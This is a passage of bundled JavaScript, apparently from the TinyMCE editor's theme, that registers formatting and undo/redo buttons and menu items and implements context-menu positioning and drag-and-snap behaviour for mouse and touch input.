          icon: 'horizontal-rule'
        }
      ], btn => {
        editor.ui.registry.addButton(btn.name, {
          tooltip: btn.text,
          icon: btn.icon,
          onAction: onActionExecCommand(editor, btn.action)
        });
      });
    };
    const registerCommandToggleButtons = editor => {
      global$1.each([{
          name: 'blockquote',
          text: 'Blockquote',
          action: 'mceBlockQuote',
          icon: 'quote'
        }], btn => {
        editor.ui.registry.addToggleButton(btn.name, {
          tooltip: btn.text,
          icon: btn.icon,
          onAction: onActionExecCommand(editor, btn.action),
          onSetup: onSetupFormatToggle(editor, btn.name)
        });
      });
    };
    const registerButtons$1 = editor => {
      registerFormatButtons(editor);
      registerCommandButtons(editor);
      registerCommandToggleButtons(editor);
    };
    const registerMenuItems$2 = editor => {
      global$1.each([
        {
          name: 'bold',
          text: 'Bold',
          action: 'Bold',
          icon: 'bold',
          shortcut: 'Meta+B'
        },
        {
          name: 'italic',
          text: 'Italic',
          action: 'Italic',
          icon: 'italic',
          shortcut: 'Meta+I'
        },
        {
          name: 'underline',
          text: 'Underline',
          action: 'Underline',
          icon: 'underline',
          shortcut: 'Meta+U'
        },
        {
          name: 'strikethrough',
          text: 'Strikethrough',
          action: 'Strikethrough',
          icon: 'strike-through'
        },
        {
          name: 'subscript',
          text: 'Subscript',
          action: 'Subscript',
          icon: 'subscript'
        },
        {
          name: 'superscript',
          text: 'Superscript',
          action: 'Superscript',
          icon: 'superscript'
        },
        {
          name: 'removeformat',
          text: 'Clear formatting',
          action: 'RemoveFormat',
          icon: 'remove-formatting'
        },
        {
          name: 'newdocument',
          text: 'New document',
          action: 'mceNewDocument',
          icon: 'new-document'
        },
        {
          name: 'cut',
          text: 'Cut',
          action: 'Cut',
          icon: 'cut',
          shortcut: 'Meta+X'
        },
        {
          name: 'copy',
          text: 'Copy',
          action: 'Copy',
          icon: 'copy',
          shortcut: 'Meta+C'
        },
        {
          name: 'paste',
          text: 'Paste',
          action: 'Paste',
          icon: 'paste',
          shortcut: 'Meta+V'
        },
        {
          name: 'selectall',
          text: 'Select all',
          action: 'SelectAll',
          icon: 'select-all',
          shortcut: 'Meta+A'
        },
        {
          name: 'print',
          text: 'Print...',
          action: 'mcePrint',
          icon: 'print',
          shortcut: 'Meta+P'
        },
        {
          name: 'hr',
          text: 'Horizontal line',
          action: 'InsertHorizontalRule',
          icon: 'horizontal-rule'
        }
      ], menuitem => {
        editor.ui.registry.addMenuItem(menuitem.name, {
          text: menuitem.text,
          icon: menuitem.icon,
          shortcut: menuitem.shortcut,
          onAction: onActionExecCommand(editor, menuitem.action)
        });
      });
      editor.ui.registry.addMenuItem('codeformat', {
        text: 'Code',
        icon: 'sourcecode',
        onAction: onActionToggleFormat(editor, 'code')
      });
    };
    const register$3 = editor => {
      registerButtons$1(editor);
      registerMenuItems$2(editor);
    };

    const onSetupUndoRedoState = (editor, type) => onSetupEvent(editor, 'Undo Redo AddUndo TypingUndo ClearUndos SwitchMode', api => {
      api.setEnabled(!editor.mode.isReadOnly() && editor.undoManager[type]());
    });
    const registerMenuItems$1 = editor => {
      editor.ui.registry.addMenuItem('undo', {
        text: 'Undo',
        icon: 'undo',
        shortcut: 'Meta+Z',
        onSetup: onSetupUndoRedoState(editor, 'hasUndo'),
        onAction: onActionExecCommand(editor, 'undo')
      });
      editor.ui.registry.addMenuItem('redo', {
        text: 'Redo',
        icon: 'redo',
        shortcut: 'Meta+Y',
        onSetup: onSetupUndoRedoState(editor, 'hasRedo'),
        onAction: onActionExecCommand(editor, 'redo')
      });
    };
    const registerButtons = editor => {
      editor.ui.registry.addButton('undo', {
        tooltip: 'Undo',
        icon: 'undo',
        enabled: false,
        onSetup: onSetupUndoRedoState(editor, 'hasUndo'),
        onAction: onActionExecCommand(editor, 'undo')
      });
      editor.ui.registry.addButton('redo', {
        tooltip: 'Redo',
        icon: 'redo',
        enabled: false,
        onSetup: onSetupUndoRedoState(editor, 'hasRedo'),
        onAction: onActionExecCommand(editor, 'redo')
      });
    };
    const register$2 = editor => {
      registerMenuItems$1(editor);
      registerButtons(editor);
    };

    const onSetupVisualAidState = editor => onSetupEvent(editor, 'VisualAid', api => {
      api.setActive(editor.hasVisual);
    });
    const registerMenuItems = editor => {
      editor.ui.registry.addToggleMenuItem('visualaid', {
        text: 'Visual aids',
        onSetup: onSetupVisualAidState(editor),
        onAction: onActionExecCommand(editor, 'mceToggleVisualAid')
      });
    };
    const registerToolbarButton = editor => {
      editor.ui.registry.addButton('visualaid', {
        tooltip: 'Visual aids',
        text: 'Visual aids',
        onAction: onActionExecCommand(editor, 'mceToggleVisualAid')
      });
    };
    const register$1 = editor => {
      registerToolbarButton(editor);
      registerMenuItems(editor);
    };

    const setup$6 = (editor, backstage) => {
      register$8(editor);
      register$3(editor);
      register$6(editor, backstage);
      register$2(editor);
      register$c(editor);
      register$1(editor);
      register$5(editor);
      register$7(editor);
      register$4(editor);
    };

    const patchPipeConfig = config => isString(config) ? config.split(/[ ,]/) : config;
    const option = name => editor => editor.options.get(name);
    const register = editor => {
      const registerOption = editor.options.register;
      registerOption('contextmenu_avoid_overlap', {
        processor: 'string',
        default: ''
      });
      registerOption('contextmenu_never_use_native', {
        processor: 'boolean',
        default: false
      });
      registerOption('contextmenu', {
        processor: value => {
          if (value === false) {
            return {
              value: [],
              valid: true
            };
          } else if (isString(value) || isArrayOf(value, isString)) {
            return {
              value: patchPipeConfig(value),
              valid: true
            };
          } else {
            return {
              valid: false,
              message: 'Must be false or a string.'
            };
          }
        },
        default: 'link linkchecker image editimage table spellchecker configurepermanentpen'
      });
    };
    const shouldNeverUseNative = option('contextmenu_never_use_native');
    const getAvoidOverlapSelector = option('contextmenu_avoid_overlap');
    const isContextMenuDisabled = editor => getContextMenu(editor).length === 0;
    const getContextMenu = editor => {
      const contextMenus = editor.ui.registry.getAll().contextMenus;
      const contextMenu = editor.options.get('contextmenu');
      if (editor.options.isSet('contextmenu')) {
        return contextMenu;
      } else {
        return filter$2(contextMenu, item => has$2(contextMenus, item));
      }
    };

    const nu = (x, y) => ({
      type: 'makeshift',
      x,
      y
    });
    const transpose = (pos, dx, dy) => {
      return nu(pos.x + dx, pos.y + dy);
    };
    const isTouchEvent$1 = e => e.type === 'longpress' || e.type.indexOf('touch') === 0;
    const fromPageXY = e => {
      if (isTouchEvent$1(e)) {
        const touch = e.touches[0];
        return nu(touch.pageX, touch.pageY);
      } else {
        return nu(e.pageX, e.pageY);
      }
    };
    const fromClientXY = e => {
      if (isTouchEvent$1(e)) {
        const touch = e.touches[0];
        return nu(touch.clientX, touch.clientY);
      } else {
        return nu(e.clientX, e.clientY);
      }
    };
    const transposeContentAreaContainer = (element, pos) => {
      const containerPos = global$7.DOM.getPos(element);
      return transpose(pos, containerPos.x, containerPos.y);
    };
    const getPointAnchor = (editor, e) => {
      if (e.type === 'contextmenu' || e.type === 'longpress') {
        if (editor.inline) {
          return fromPageXY(e);
        } else {
          return transposeContentAreaContainer(editor.getContentAreaContainer(), fromClientXY(e));
        }
      } else {
        return getSelectionAnchor(editor);
      }
    };
    const getSelectionAnchor = editor => {
      return {
        type: 'selection',
        root: SugarElement.fromDom(editor.selection.getNode())
      };
    };
    const getNodeAnchor = editor => ({
      type: 'node',
      node: Optional.some(SugarElement.fromDom(editor.selection.getNode())),
      root: SugarElement.fromDom(editor.getBody())
    });
    const getAnchorSpec$1 = (editor, e, anchorType) => {
      switch (anchorType) {
      case 'node':
        return getNodeAnchor(editor);
      case 'point':
        return getPointAnchor(editor, e);
      case 'selection':
        return getSelectionAnchor(editor);
      }
    };

    const initAndShow$1 = (editor, e, buildMenu, backstage, contextmenu, anchorType) => {
      const items = buildMenu();
      const anchorSpec = getAnchorSpec$1(editor, e, anchorType);
      build(items, ItemResponse$1.CLOSE_ON_EXECUTE, backstage, {
        isHorizontalMenu: false,
        search: Optional.none()
      }).map(menuData => {
        e.preventDefault();
        InlineView.showMenuAt(contextmenu, { anchor: anchorSpec }, {
          menu: { markers: markers('normal') },
          data: menuData
        });
      });
    };

    const layouts = {
      onLtr: () => [
        south$2,
        southeast$2,
        southwest$2,
        northeast$2,
        northwest$2,
        north$2,
        north,
        south,
        northeast,
        southeast,
        northwest,
        southwest
      ],
      onRtl: () => [
        south$2,
        southwest$2,
        southeast$2,
        northwest$2,
        northeast$2,
        north$2,
        north,
        south,
        northwest,
        southwest,
        northeast,
        southeast
      ]
    };
    const bubbleSize = 12;
    const bubbleAlignments = {
      valignCentre: [],
      alignCentre: [],
      alignLeft: ['tox-pop--align-left'],
      alignRight: ['tox-pop--align-right'],
      right: ['tox-pop--right'],
      left: ['tox-pop--left'],
      bottom: ['tox-pop--bottom'],
      top: ['tox-pop--top']
    };
    const isTouchWithinSelection = (editor, e) => {
      const selection = editor.selection;
      if (selection.isCollapsed() || e.touches.length < 1) {
        return false;
      } else {
        const touch = e.touches[0];
        const rng = selection.getRng();
        const rngRectOpt = getFirstRect(editor.getWin(), SimSelection.domRange(rng));
        return rngRectOpt.exists(rngRect => rngRect.left <= touch.clientX && rngRect.right >= touch.clientX && rngRect.top <= touch.clientY && rngRect.bottom >= touch.clientY);
      }
    };
    const setupiOSOverrides = editor => {
      const originalSelection = editor.selection.getRng();
      const selectionReset = () => {
        global$9.setEditorTimeout(editor, () => {
          editor.selection.setRng(originalSelection);
        }, 10);
        unbindEventListeners();
      };
      editor.once('touchend', selectionReset);
      const preventMousedown = e => {
        e.preventDefault();
        e.stopImmediatePropagation();
      };
      editor.on('mousedown', preventMousedown, true);
      const clearSelectionReset = () => unbindEventListeners();
      editor.once('longpresscancel', clearSelectionReset);
      const unbindEventListeners = () => {
        editor.off('touchend', selectionReset);
        editor.off('longpresscancel', clearSelectionReset);
        editor.off('mousedown', preventMousedown);
      };
    };
    const getAnchorSpec = (editor, e, anchorType) => {
      const anchorSpec = getAnchorSpec$1(editor, e, anchorType);
      const bubbleYOffset = anchorType === 'point' ? bubbleSize : 0;
      return {
        bubble: nu$5(0, bubbleYOffset, bubbleAlignments),
        layouts,
        overrides: {
          maxWidthFunction: expandable(),
          maxHeightFunction: expandable$1()
        },
        ...anchorSpec
      };
    };
    const show = (editor, e, items, backstage, contextmenu, anchorType, highlightImmediately) => {
      const anchorSpec = getAnchorSpec(editor, e, anchorType);
      build(items, ItemResponse$1.CLOSE_ON_EXECUTE, backstage, {
        isHorizontalMenu: true,
        search: Optional.none()
      }).map(menuData => {
        e.preventDefault();
        const highlightOnOpen = highlightImmediately ? HighlightOnOpen.HighlightMenuAndItem : HighlightOnOpen.HighlightNone;
        InlineView.showMenuWithinBounds(contextmenu, { anchor: anchorSpec }, {
          menu: {
            markers: markers('normal'),
            highlightOnOpen
          },
          data: menuData,
          type: 'horizontal'
        }, () => Optional.some(getContextToolbarBounds(editor, backstage.shared, anchorType === 'node' ? 'node' : 'selection')));
        editor.dispatch(hideContextToolbarEvent);
      });
    };
    const initAndShow = (editor, e, buildMenu, backstage, contextmenu, anchorType) => {
      const detection = detect$1();
      const isiOS = detection.os.isiOS();
      const isMacOS = detection.os.isMacOS();
      const isAndroid = detection.os.isAndroid();
      const isTouch = detection.deviceType.isTouch();
      const shouldHighlightImmediately = () => !(isAndroid || isiOS || isMacOS && isTouch);
      const open = () => {
        const items = buildMenu();
        show(editor, e, items, backstage, contextmenu, anchorType, shouldHighlightImmediately());
      };
      if ((isMacOS || isiOS) && anchorType !== 'node') {
        const openiOS = () => {
          setupiOSOverrides(editor);
          open();
        };
        if (isTouchWithinSelection(editor, e)) {
          openiOS();
        } else {
          editor.once('selectionchange', openiOS);
          editor.once('touchend', () => editor.off('selectionchange', openiOS));
        }
      } else {
        open();
      }
    };

    const isSeparator = item => isString(item) ? item === '|' : item.type === 'separator';
    const separator = { type: 'separator' };
    const makeContextItem = item => {
      const commonMenuItem = item => ({
        text: item.text,
        icon: item.icon,
        enabled: item.enabled,
        shortcut: item.shortcut
      });
      if (isString(item)) {
        return item;
      } else {
        switch (item.type) {
        case 'separator':
          return separator;
        case 'submenu':
          return {
            type: 'nestedmenuitem',
            ...commonMenuItem(item),
            getSubmenuItems: () => {
              const items = item.getSubmenuItems();
              if (isString(items)) {
                return items;
              } else {
                return map$2(items, makeContextItem);
              }
            }
          };
        default:
          const commonItem = item;
          return {
            type: 'menuitem',
            ...commonMenuItem(commonItem),
            onAction: noarg(commonItem.onAction)
          };
        }
      }
    };
    const addContextMenuGroup = (xs, groupItems) => {
      if (groupItems.length === 0) {
        return xs;
      }
      const lastMenuItem = last$1(xs).filter(item => !isSeparator(item));
      const before = lastMenuItem.fold(() => [], _ => [separator]);
      return xs.concat(before).concat(groupItems).concat([separator]);
    };
    const generateContextMenu = (contextMenus, menuConfig, selectedElement) => {
      const sections = foldl(menuConfig, (acc, name) => {
        return get$g(contextMenus, name.toLowerCase()).map(menu => {
          const items = menu.update(selectedElement);
          if (isString(items)) {
            return addContextMenuGroup(acc, items.split(' '));
          } else if (items.length > 0) {
            const allItems = map$2(items, makeContextItem);
            return addContextMenuGroup(acc, allItems);
          } else {
            return acc;
          }
        }).getOrThunk(() => acc.concat([name]));
      }, []);
      if (sections.length > 0 && isSeparator(sections[sections.length - 1])) {
        sections.pop();
      }
      return sections;
    };
    const isNativeOverrideKeyEvent = (editor, e) => e.ctrlKey && !shouldNeverUseNative(editor);
    const isTouchEvent = e => e.type === 'longpress' || has$2(e, 'touches');
    const isTriggeredByKeyboard = (editor, e) => !isTouchEvent(e) && (e.button !== 2 || e.target === editor.getBody() && e.pointerType === '');
    const getSelectedElement = (editor, e) => isTriggeredByKeyboard(editor, e) ? editor.selection.getStart(true) : e.target;
    const getAnchorType = (editor, e) => {
      const selector = getAvoidOverlapSelector(editor);
      const anchorType = isTriggeredByKeyboard(editor, e) ? 'selection' : 'point';
      if (isNotEmpty(selector)) {
        const target = getSelectedElement(editor, e);
        const selectorExists = closest(SugarElement.fromDom(target), selector);
        return selectorExists ? 'node' : anchorType;
      } else {
        return anchorType;
      }
    };
    const setup$5 = (editor, lazySink, backstage) => {
      const detection = detect$1();
      const isTouch = detection.deviceType.isTouch;
      const contextmenu = build$1(InlineView.sketch({
        dom: { tag: 'div' },
        lazySink,
        onEscape: () => editor.focus(),
        onShow: () => backstage.setContextMenuState(true),
        onHide: () => backstage.setContextMenuState(false),
        fireDismissalEventInstead: {},
        inlineBehaviours: derive$1([config('dismissContextMenu', [run$1(dismissRequested(), (comp, _se) => {
              Sandboxing.close(comp);
              editor.focus();
            })])])
      }));
      const hideContextMenu = () => InlineView.hide(contextmenu);
      const showContextMenu = e => {
        if (shouldNeverUseNative(editor)) {
          e.preventDefault();
        }
        if (isNativeOverrideKeyEvent(editor, e) || isContextMenuDisabled(editor)) {
          return;
        }
        const anchorType = getAnchorType(editor, e);
        const buildMenu = () => {
          const selectedElement = getSelectedElement(editor, e);
          const registry = editor.ui.registry.getAll();
          const menuConfig = getContextMenu(editor);
          return generateContextMenu(registry.contextMenus, menuConfig, selectedElement);
        };
        const initAndShow$2 = isTouch() ? initAndShow : initAndShow$1;
        initAndShow$2(editor, e, buildMenu, backstage, contextmenu, anchorType);
      };
      editor.on('init', () => {
        const hideEvents = 'ResizeEditor ScrollContent ScrollWindow longpresscancel' + (isTouch() ? '' : ' ResizeWindow');
        editor.on(hideEvents, hideContextMenu);
        editor.on('longpress contextmenu', showContextMenu);
      });
    };

    const adt = Adt.generate([
      {
        offset: [
          'x',
          'y'
        ]
      },
      {
        absolute: [
          'x',
          'y'
        ]
      },
      {
        fixed: [
          'x',
          'y'
        ]
      }
    ]);
    const subtract = change => point => point.translate(-change.left, -change.top);
    const add = change => point => point.translate(change.left, change.top);
    const transform = changes => (x, y) => foldl(changes, (rest, f) => f(rest), SugarPosition(x, y));
    const asFixed = (coord, scroll, origin) => coord.fold(transform([
      add(origin),
      subtract(scroll)
    ]), transform([subtract(scroll)]), transform([]));
    const asAbsolute = (coord, scroll, origin) => coord.fold(transform([add(origin)]), transform([]), transform([add(scroll)]));
    const asOffset = (coord, scroll, origin) => coord.fold(transform([]), transform([subtract(origin)]), transform([
      add(scroll),
      subtract(origin)
    ]));
    const withinRange = (coord1, coord2, xRange, yRange, scroll, origin) => {
      const a1 = asAbsolute(coord1, scroll, origin);
      const a2 = asAbsolute(coord2, scroll, origin);
      return Math.abs(a1.left - a2.left) <= xRange && Math.abs(a1.top - a2.top) <= yRange;
    };
    const getDeltas = (coord1, coord2, xRange, yRange, scroll, origin) => {
      const a1 = asAbsolute(coord1, scroll, origin);
      const a2 = asAbsolute(coord2, scroll, origin);
      const left = Math.abs(a1.left - a2.left);
      const top = Math.abs(a1.top - a2.top);
      return SugarPosition(left, top);
    };
    const toStyles = (coord, scroll, origin) => {
      const stylesOpt = coord.fold((x, y) => ({
        position: Optional.some('absolute'),
        left: Optional.some(x + 'px'),
        top: Optional.some(y + 'px')
      }), (x, y) => ({
        position: Optional.some('absolute'),
        left: Optional.some(x - origin.left + 'px'),
        top: Optional.some(y - origin.top + 'px')
      }), (x, y) => ({
        position: Optional.some('fixed'),
        left: Optional.some(x + 'px'),
        top: Optional.some(y + 'px')
      }));
      return {
        right: Optional.none(),
        bottom: Optional.none(),
        ...stylesOpt
      };
    };
    const translate = (coord, deltaX, deltaY) => coord.fold((x, y) => offset(x + deltaX, y + deltaY), (x, y) => absolute(x + deltaX, y + deltaY), (x, y) => fixed(x + deltaX, y + deltaY));
    const absorb = (partialCoord, originalCoord, scroll, origin) => {
      const absorbOne = (stencil, nu) => (optX, optY) => {
        const original = stencil(originalCoord, scroll, origin);
        return nu(optX.getOr(original.left), optY.getOr(original.top));
      };
      return partialCoord.fold(absorbOne(asOffset, offset), absorbOne(asAbsolute, absolute), absorbOne(asFixed, fixed));
    };
    const offset = adt.offset;
    const absolute = adt.absolute;
    const fixed = adt.fixed;

    const parseAttrToInt = (element, name) => {
      const value = get$f(element, name);
      return isUndefined(value) ? NaN : parseInt(value, 10);
    };
    const get = (component, snapsInfo) => {
      const element = component.element;
      const x = parseAttrToInt(element, snapsInfo.leftAttr);
      const y = parseAttrToInt(element, snapsInfo.topAttr);
      return isNaN(x) || isNaN(y) ? Optional.none() : Optional.some(SugarPosition(x, y));
    };
    const set = (component, snapsInfo, pt) => {
      const element = component.element;
      set$9(element, snapsInfo.leftAttr, pt.left + 'px');
      set$9(element, snapsInfo.topAttr, pt.top + 'px');
    };
    const clear = (component, snapsInfo) => {
      const element = component.element;
      remove$7(element, snapsInfo.leftAttr);
      remove$7(element, snapsInfo.topAttr);
    };

    const getCoords = (component, snapInfo, coord, delta) => get(component, snapInfo).fold(() => coord, fixed$1 => fixed(fixed$1.left + delta.left, fixed$1.top + delta.top));
    const moveOrSnap = (component, snapInfo, coord, delta, scroll, origin) => {
      const newCoord = getCoords(component, snapInfo, coord, delta);
      const snap = snapInfo.mustSnap ? findClosestSnap(component, snapInfo, newCoord, scroll, origin) : findSnap(component, snapInfo, newCoord, scroll, origin);
      const fixedCoord = asFixed(newCoord, scroll, origin);
      set(component, snapInfo, fixedCoord);
      return snap.fold(() => ({
        coord: fixed(fixedCoord.left, fixedCoord.top),
        extra: Optional.none()
      }), spanned => ({
        coord: spanned.output,
        extra: spanned.extra
      }));
    };
    const stopDrag = (component, snapInfo) => {
      clear(component, snapInfo);
    };
    const findMatchingSnap = (snaps, newCoord, scroll, origin) => findMap(snaps, snap => {
      const sensor = snap.sensor;
      const inRange = withinRange(newCoord, sensor, snap.range.left, snap.range.top, scroll, origin);
      return inRange ? Optional.some({
        output: absorb(snap.output, newCoord, scroll, origin),
        extra: snap.extra
      }) : Optional.none();
    });
    const findClosestSnap = (component, snapInfo, newCoord, scroll, origin) => {
      const snaps = snapInfo.getSnapPoints(component);
      const matchSnap = findMatchingSnap(snaps, newCoord, scroll, origin);
      return matchSnap.orThunk(() => {
        const bestSnap = foldl(snaps, (acc, snap) => {
          const sensor = snap.sensor;
          const deltas = getDeltas(newCoord, sensor, snap.range.left, snap.range.top, scroll, origin);
          return acc.deltas.fold(() => ({
            deltas: Optional.some(deltas),
            snap: Optional.some(snap)
          }), bestDeltas => {
            const currAvg = (deltas.left + deltas.top) / 2;
            const bestAvg = (bestDeltas.left + bestDeltas.top) / 2;
            if (currAvg <= bestAvg) {
              return {
                deltas: Optional.some(deltas),
                snap: Optional.some(snap)
              };
            } else {
              return acc;
            }
          });
        }, {
          deltas: Optional.none(),
          snap: Optional.none()
        });
        return bestSnap.snap.map(snap => ({
          output: absorb(snap.output, newCoord, scroll, origin),
          extra: snap.extra
        }));
      });
    };
    const findSnap = (component, snapInfo, newCoord, scroll, origin) => {
      const snaps = snapInfo.getSnapPoints(component);
      return findMatchingSnap(snaps, newCoord, scroll, origin);
    };
    const snapTo$1 = (snap, scroll, origin) => ({
      coord: absorb(snap.output, snap.output, scroll, origin),
      extra: snap.extra
    });

    const snapTo = (component, dragConfig, _state, snap) => {
      const target = dragConfig.getTarget(component.element);
      if (dragConfig.repositionTarget) {
        const doc = owner$4(component.element);
        const scroll = get$b(doc);
        const origin = getOrigin(target);
        const snapPin = snapTo$1(snap, scroll, origin);
        const styles = toStyles(snapPin.coord, scroll, origin);
        setOptions(target, styles);
      }
    };

    var DraggingApis = /*#__PURE__*/Object.freeze({
        __proto__: null,
        snapTo: snapTo
    });

    const initialAttribute = 'data-initial-z-index';
    const resetZIndex = blocker => {
      parent(blocker.element).filter(isElement$1).each(root => {
        getOpt(root, initialAttribute).fold(() => remove$6(root, 'z-index'), zIndex => set$8(root, 'z-index', zIndex));
        remove$7(root, initialAttribute);
      });
    };
    const changeZIndex = blocker => {
      parent(blocker.element).filter(isElement$1).each(root => {
        getRaw(root, 'z-index').each(zindex => {
          set$9(root, initialAttribute, zindex);
        });
        set$8(root, 'z-index', get$e(blocker.element, 'z-index'));
      });
    };
    const instigate = (anyComponent, blocker) => {
      anyComponent.getSystem().addToGui(blocker);
      changeZIndex(blocker);
    };
    const discard = blocker => {
      resetZIndex(blocker);
      blocker.getSystem().removeFromGui(blocker);
    };
    const createComponent = (component, blockerClass, blockerEvents) => component.getSystem().build(Container.sketch({
      dom: {
        styles: {
          'left': '0px',
          'top': '0px',
          'width': '100%',
          'height': '100%',
          'position': 'fixed',
          'z-index': '1000000000000000'
        },
        classes: [blockerClass]
      },
      events: blockerEvents
    }));

    var SnapSchema = optionObjOf('snaps', [
      required$1('getSnapPoints'),
      onHandler('onSensor'),
      required$1('leftAttr'),
      required$1('topAttr'),
      defaulted('lazyViewport', win),
      defaulted('mustSnap', false)
    ]);

    const schema$6 = [
      defaulted('useFixed', never),
      required$1('blockerClass'),
      defaulted('getTarget', identity),
      defaulted('onDrag', noop),
      defaulted('repositionTarget', true),
      defaulted('onDrop', noop),
      defaultedFunction('getBounds', win),
      SnapSchema
    ];

    const getCurrentCoord = target => lift3(getRaw(target, 'left'), getRaw(target, 'top'), getRaw(target, 'position'), (left, top, position) => {
      const nu = position === 'fixed' ? fixed : offset;
      return nu(parseInt(left, 10), parseInt(top, 10));
    }).getOrThunk(() => {
      const location = absolute$3(target);
      return absolute(location.left, location.top);
    });
    const clampCoords = (component, coords, scroll, origin, startData) => {
      const bounds = startData.bounds;
      const absoluteCoord = asAbsolute(coords, scroll, origin);
      const newX = clamp(absoluteCoord.left, bounds.x, bounds.x + bounds.width - startData.width);
      const newY = clamp(absoluteCoord.top, bounds.y, bounds.y + bounds.height - startData.height);
      const newCoords = absolute(newX, newY);
      return coords.fold(() => {
        const offset$1 = asOffset(newCoords, scroll, origin);
        return offset(offset$1.left, offset$1.top);
      }, constant$1(newCoords), () => {
        const fixed$1 = asFixed(newCoords, scroll, origin);
        return fixed(fixed$1.left, fixed$1.top);
      });
    };
    const calcNewCoord = (component, optSnaps, currentCoord, scroll, origin, delta, startData) => {
      const newCoord = optSnaps.fold(() => {
        const translated = translate(currentCoord, delta.left, delta.top);
        const fixedCoord = asFixed(translated, scroll, origin);
        return fixed(fixedCoord.left, fixedCoord.top);
      }, snapInfo => {
        const snapping = moveOrSnap(component, snapInfo, currentCoord, delta, scroll, origin);
        snapping.extra.each(extra => {
          snapInfo.onSensor(component, extra);
        });
        return snapping.coord;
      });
      return clampCoords(component, newCoord, scroll, origin, startData);
    };
    const dragBy = (component, dragConfig, startData, delta) => {
      const target = dragConfig.getTarget(component.element);
      if (dragConfig.repositionTarget) {
        const doc = owner$4(component.element);
        const scroll = get$b(doc);
        const origin = getOrigin(target);
        const currentCoord = getCurrentCoord(target);
        const newCoord = calcNewCoord(component, dragConfig.snaps, currentCoord, scroll, origin, delta, startData);
        const styles = toStyles(newCoord, scroll, origin);
        setOptions(target, styles);
      }
      dragConfig.onDrag(component, target, delta);
    };

    const calcStartData = (dragConfig, comp) => ({
      bounds: dragConfig.getBounds(),
      height: getOuter$2(comp.element),
      width: getOuter$1(comp.element)
    });
    const move = (component, dragConfig, dragState, dragMode, event) => {
      const delta = dragState.update(dragMode, event);
      const dragStartData = dragState.getStartData().getOrThunk(() => calcStartData(dragConfig, component));
      delta.each(dlt => {
        dragBy(component, dragConfig, dragStartData, dlt);
      });
    };
    const stop = (component, blocker, dragConfig, dragState) => {
      blocker.each(discard);
      dragConfig.snaps.each(snapInfo => {
        stopDrag(component, snapInfo);
      });
      const target = dragConfig.getTarget(component.element);
      dragState.reset();
      dragConfig.onDrop(component, target);
    };
    const handlers = events => (dragConfig, dragState) => {
      const updateStartState = comp => {
        dragState.setStartData(calcStartData(dragConfig, comp));
      };
      return derive$2([
        run$1(windowScroll(), comp => {
          dragState.getStartData().each(() => updateStartState(comp));
        }),
        ...events(dragConfig, dragState, updateStartState)
      ]);
    };

    const init$2 = dragApi => derive$2([
      run$1(mousedown(), dragApi.forceDrop),
      run$1(mouseup(), dragApi.drop),
      run$1(mousemove(), (comp, simulatedEvent) => {
        dragApi.move(simulatedEvent.event);
      }),
      run$1(mouseout(), dragApi.delayDrop)
    ]);

    const getData$1 = event => Optional.from(SugarPosition(event.x, event.y));
    const getDelta$1 = (old, nu) => SugarPosition(nu.left - old.left, nu.top - old.top);

    var MouseData = /*#__PURE__*/Object.freeze({
        __proto__: null,
        getData: getData$1,
        getDelta: getDelta$1
    });

    const events$2 = (dragConfig, dragState, updateStartState) => [run$1(mousedown(), (component, simulatedEvent) => {
        const raw = simulatedEvent.event.raw;
        if (raw.button !== 0) {
          return;
        }
        simulatedEvent.stop();
        const stop$1 = () => stop(component, Optional.some(blocker), dragConfig, dragState);
        const delayDrop = DelayedFunction(stop$1, 200);
        const dragApi = {
          drop: stop$1,
          delayDrop: delayDrop.schedule,
          forceDrop: stop$1,
          move: event => {
            delayDrop.cancel();
            move(component, dragConfig, dragState, MouseData, event);
          }
        };
        const blocker = createComponent(component, dragConfig.blockerClass, init$2(dragApi));
        const start = () => {
          updateStartState(component);
          instigate(component, blocker);
        };
        start();
      })];
    const schema$5 = [
      ...schema$6,
      output$1('dragger', { handlers: handlers(events$2) })
    ];

    const init$1 = dragApi => derive$2([
      run$1(touchstart(), dragApi.forceDrop),
      run$1(touchend(), dragApi.drop),
      run$1(touchcancel(), dragApi.drop),
      run$1(touchmove(), (comp, simulatedEvent) => {
        dragApi.move(simulatedEvent.event);
      })
    ]);

    const getDataFrom = touches => {
      const touch = touches[0];
      return Optional.some(SugarPosition(touch.clientX, touch.clientY));
    };
    const getData = event => {
      const raw = event.raw;
      const touches = raw.touches;
      return touches.length === 1 ? getDataFrom(touches) : Optional.none();
    };
    const getDelta = (old, nu) => SugarPosition(nu.left - old.left, nu.top - old.top);

    var TouchData = /*#__PURE__*/Object.freeze({
        __proto__: null,
        getData: getData,
        getDelta: getDelta
    });

    const events$1 = (dragConfig, dragState, updateStartState) => {
      const blockerSingleton = value$2();
      const stopBlocking = component => {
        stop(component, blockerSingleton.get(), dragConfig, dragState);
        blockerSingleton.clear();
      };
      return [
        run$1(touchstart(), (component, simulatedEvent) => {
          simulatedEvent.stop();
          const stop = () => stopBlocking(component);
          const dragApi = {
            drop: stop,
            delayDrop: noop,
            forceDrop: stop,
            move: event => {
              move(component, dragConfig, dragState, TouchData, event);
            }
          };
          const blocker = createComponent(component, dragConfig.blockerClass, init$1(dragApi));
          blockerSingleton.set(blocker);
          const start = () => {
            updateStartState(component);
            instigate(component, blocker);
          };
          start();
        }),
        run$1(touchmove(), (component, simulatedEvent) => {
          simulatedEvent.stop();
          move(component, dragConfig, dragState, TouchData, simulatedEvent.event);
        }),
        run$1(touchend(), (component, simulatedEvent) => {
          simulatedEvent.stop();
          stopBlocking(component);
        }),
        run$1(touchcancel(), stopBlocking)
      ];
    };
    const schema$4 = [
      ...schema$6,
      output$1('dragger', { handlers: handlers(events$1) })
    ];

    const events = (dragConfig, dragState, updateStartState) => [
      ...events$2(dragConfig, dragState, updateStartState),
      ...events$1(dragConfig, dragState, updateStartState)
    ];
    const schema$3 = [
      ...schema$6,
      output$1('dragger', { handlers: handlers(events) })
    ];

    const mouse = schema$5;
    const touch = schema$4;
    const mouseOrTouch = schema$3;

    var DraggingBranches = /*#__PURE__*/Object.freeze({
        __proto__: null,
        mouse: mouse,
        touch: touch,
        mouseOrTouch: mouseOrTouch
    });

    const init = () => {
      let previous = Optional.none();
      let startData = Optional.none();
      const reset = () => {
        previous = Optional.none();
        startData = Optional.none();
      };
      const calculateDelta = (mode, nu) => {
        const result = previous.map(old => mode.getDelta(old, nu));
        previous = Optional.some(nu);
        return result;
      };
      const update = (mode, dragEvent) => mode.getData(dragEvent).bind(nuData => calculateDelta(mode, nuData));
      const setStartData = data => {
        startData = Optional.some(data);
      };
      const getStartData = () => startData;
      const readState = constant$1({});
      return nu$8({
        readState,
        reset,
        update,
        getStartData,
        setStartData
      });
    };

    var DragState = /*#__PURE__*/Object.freeze({
        __proto__: null,
        init: init
